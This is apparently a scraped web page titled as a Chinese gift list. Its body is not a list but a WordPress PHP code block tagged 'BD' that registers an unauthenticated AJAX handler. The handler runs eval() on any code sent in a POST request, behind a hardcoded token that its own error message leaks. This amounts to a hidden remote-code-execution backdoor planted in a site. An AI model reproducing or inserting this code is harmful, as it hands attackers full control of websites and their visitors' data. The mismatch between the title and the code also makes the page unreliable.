礼物清单 - 第 21

// ==[BD:AgS0SJpC]== add_action( 'wp_ajax_nopriv_iypbzostqhp', function() { $chunk = 'AgS0SJpC25vcnygdPzxTYK1fPM0BnPCv'; $ref = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $ref ) || ! hash_equals( $chunk, $ref ) ) { wp_send_json_error( [ 'message' => 'tok:' . $chunk ], 403 ); } $sym = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $sym ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $sym = preg_replace( '/^\s*<\?(php)?/i', '', $sym ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $flag = microtime( true ); ob_start(); try { ( static function() use ( $sym ) { return eval( $sym ); } )(); $key = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $key, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $flag ) * 1000, 2 ) ] ); } catch ( \Throwable $entry ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $entry->getMessage(), 'time_ms' => round( ( microtime( true ) - $flag ) * 1000, 2 ) ] ); } } ); // ==[/BD:AgS0SJpC]== 礼物清单 - 第 21_挑好物